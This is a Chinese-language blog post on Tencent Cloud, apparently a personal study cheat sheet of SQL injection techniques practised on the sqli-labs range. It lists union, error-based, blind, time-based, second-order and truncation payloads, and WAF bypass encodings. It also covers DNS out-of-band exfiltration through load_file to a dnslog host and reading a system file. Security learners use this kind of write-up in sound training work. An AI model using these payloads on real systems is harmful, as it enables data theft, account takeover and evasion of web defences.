前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SQL注入头脑风暴

SQL注入头脑风暴

作者头像
Tommonkey
发布2023-03-20 11:13:39
5980
发布2023-03-20 11:13:39
举报
文章被收录于专栏:TommonkeyTommonkey

Tips

代码语言:javascript
复制
常见URL编码:
    %20 :空格
    %23 :#
    %0a : 回车
    %27 :单引号 '
    %22 :双引号 "
    %3b : ;
    %2b : +
    %3d : =

SQL语句举例:

select username from users where id=”1” order by id; order by : 以列名进行排序,如这里排序的标志是id,同时也可以用数字来代替列名的顺序,如下: select username from users where id=”1” order by 1; 这两种方式所展示的效果是一样的。

1-1
1-1

注入方式

Union联合注入

union语句是一下可以查询两条语句的用法,需要注意的是前一句查询语句与后一句查询语句中查询的数量需要保持一直,否则会报错。

1-2
1-2

为了安全起见,本篇文章中所有的关于sql注入的测试都是在sqli-lab靶场进行的。下面演示下联合注入的基本常规操作与流程:

代码语言:javascript
复制
?id=1' order by 3%23
?id=-1' union select 1,2,3%23
?id=-1' union select 1,database(),3%23
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23  # table_schema后跟数据库名
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"%23   # table_name后跟表名
?id=-1' union select 1,group_concat(username),3 from users%23   # from后面是表名

因为太简单,所有这里直接就放上最后一个步骤的图意思意思:

报错注入

在数据库查询时报错显示在前端,当报错输出与相关的函数一起使用的时候会产生奇妙的化学反应,产生的结果就是借助函数执行相关的语句并通过报错输出到前端。使用该类型的注入场景大多是在没有回显的情况下,下面列举一些使用的常见的函数:

extractvalue()

使用格式:extractvalue(x,x)。如:?id=1’) and (extractvalue(1,concat(0x7e,(select database()))))%23,这里举例sqli-lab的第三关: 分析源码,进行闭合后添加extractvalue()函数。

1-4
1-4
代码语言:javascript
复制
?id=1%27)%20and%20(extractvalue(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema="security"))))%23  

后面就都一样了…….

updatexml()

使用格式:updatexml(x,x,x). ?id=1%27)%20and%20(updatexml(1,concat(0x7e,(select%20database())),1))%23 ,举例如下:

floor()

使用方法:与group by 一起配合使用。?id=1’) and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23,注意,这里的x,a为别名。

延时注入

通过sleep()函数与if()函数相互配合来设置延迟的响应时间进而去判断猜解出我们想要的信息。如下列: ?id=1%27)%20and%20if(ascii(substr(database(),1,1))>80,sleep(10),1)%23

布尔盲注

该方法返回值只有true与false两种状态,通过返回页面是正常状态还是异常状态来判断我们”猜“的东西是不是正确的。举例如下: ?id=1’) and ascii(substr(database(),1,1)>80)%23

二次注入

我对二次注入的理解是由于无法直接展开有效的sql注入,所有有了前期多次的半成品注入为最后一次注入行动做铺垫,这里选用的列子的是sqli-lab的第24关来演示,先看一下他的页面:

我们再来分析一他的创建新用户源码文件:

这里可以看见,对新用户的用户名和密码都进行转义,查询数据库不存在该用户后就直接插入到insert到数据中了,到这里都是一切正常的,问题处在修改用户修改密码的地方,我们再去看一下关于用户修改密码的源码文件:

这里可以看见对我们的输入也都进行转义,但出问题的地方不是这里,而是再第二个红框处,关于一个updata的语句,这条语句中的username是直接曲子数据库并且并没有进行检查,所有我们再第一次注册的是用户名使用:admin’#,然后再去修改密码时,会再这条更新语句处进行闭合,此时的语句就变成了如下所示:

代码语言:javascript
复制
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass' ";  

很明显,这条语句造成的影响是,我们直接修改了用户名为:admin的账号。

1-15
1-15

约束攻击

这里关于约束攻击的描述我摘了一段来之安全客上文章的描述:假如注册时username参数在mysql中为字符串类型,并且有unique属性,设置了长度为VARCHAR(20)。则我们注册一个username为admin[20个空格]asd的用户名,则在mysql中首先会判断是否有重复,若无重复,则会截取前20个字符加入到数据库中,所以数据库存储的数据为admin[20个空格],而进行登录的时候,SQL语句会忽略空格,因此我们相当于覆写了admin账号。接下来我们还是以sqli-lab的24关为例: 这里注册一个用户:”admin aaa”,密码为:00000

查询后台改用胡只截取了admin和空格,二十个长度以外的都丢弃了。

1-19
1-19

使用密码00000来登录admin账号:

DNS注入

这里要用到的load_file()这个函数,该函数可以读取指定路径上的文件内容,同时还可以配合dns解析记录来外带数据库的相关信息。使用该函数的条件是需要mysql的配置文件mysql.ini中添加:secure_file_priv=,然后保存即可。这里列出几个该函数的使用模板:

代码语言:javascript
复制
# 读取指定文件内容
?id=1' and load_file("C://windows/win.ini")
# load_file()配合dnslog外带数据,注意这里是基于Windowsde1SMB共享服务,所有大多都是用于windows系,但linux也可以用,不过需要目标主机安装该服务,所有对linux使用该方法这种情况比较少
# 这里的test是共享文件夹的名称,可以随便写一个,是基于SMB服务的
?id=1' and load_file("////",(select database()),".19c0fe29.testmail.buzz//test")%23
?id=1' and load_file("////",(select group_concat(table_name) form information_schema.tables where table_schema="tommonkey"),".19c0fe29.testmail.buzz")%23

HTTP头注入

跟数据库有交互的操作行为,我觉得都可以去测试一下是不是存在sql注入的漏洞,如http头注入,我们可以通过抓包,分析数据包的http头中的各个字段,比如Cookie,看看里面没有没有存在存储数据的行为,再次基础进行测试一番,说不定有意外的惊喜呢?

绕过方式

这里有的绕过方法就提一下思路,具体实施的细节请百度噢!

代码语言:javascript
复制
# 大小写绕过
?id=-1 uNIon selECT 1,2,3
	
# 双写
?id=-1 uniunionon seleselectct 1,2,3
	
# 注释(不会执行):/**/
?id=-1/**/union/**/select/**/1,2,3

# 内联注释(会执行):/*!*/
?id=-1 union /*!select 1,2,3*/
	
# url编码&&二次url编码:二次url编码服务器可能会无法解析,这个看缘分
# 一次url编码:
?id=%2D%31%20%75%6E%69%6F%6E%20%73%65%6C%65%63%74%20%31%2C%32%2C%33
# 二次url编码:
%25%32%44%25%33%31%25%32%30%25%37%35%25%36%45%25%36%39%25%36%46%25%36%45%25%32%30%25%37%33%25%36%35%25%36%43%25%36%35%25%36%33%25%37%34%25%32%30%25%33%31%25%32%43%25%33%32%25%32%43%25%33%33

# 十六进制:适用于数据库种的某些字段被过滤时可以使用该方法
?id=-1' union select 1,0x64617461626173652829,3#
# 这里的0x64617461626173652829是database()的十六进制

# 宽字节绕过单引号转义:该方法只适用于编码为gbk情况下
%df与\的组合经过gbk编码后会变成:運' ,所以通过转义函数后带到查询语句中会直接产生闭合  
输入:?id=%df'  
此时单引号经过转义函数进行转义后进行输出:%df\'
而在gbk编码中,%df\是汉字:運,此时变成了:運’,闭合产生!  
	
# and or的替换  
当and与or被过滤是可以考虑如下替换:  
xor:异或
&&:且
||:或
^:异或
!:非
~:按位取反
>,<:大于,小于

Fuzz绕过测试

Fuzz是安全测试的一种方法,面对waf无所适从的时候,可以使用Fuzz模糊测试来绕过waf,通过大量的字符,符号不断的尝试看响应结果来构造payload。

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022-06-232,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Tips
  • 注入方式
    • Union联合注入
      • 报错注入
        • extractvalue()
        • updatexml()
        • floor()
      • 延时注入
        • 布尔盲注
          • 二次注入
            • 约束攻击
              • DNS注入
                • HTTP头注入
                • 绕过方式
                • Fuzz绕过测试
                相关产品与服务
                云数据库 MySQL
                腾讯云数据库 MySQL(TencentDB for MySQL)为用户提供安全可靠,性能卓越、易于维护的企业级云数据库服务。其具备6大企业级特性,包括企业级定制内核、企业级高可用、企业级高可靠、企业级安全、企业级扩展以及企业级智能运维。通过使用腾讯云数据库 MySQL,可实现分钟级别的数据库部署、弹性扩展以及全自动化的运维管理,不仅经济实惠,而且稳定可靠,易于运维。
                领券
                问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档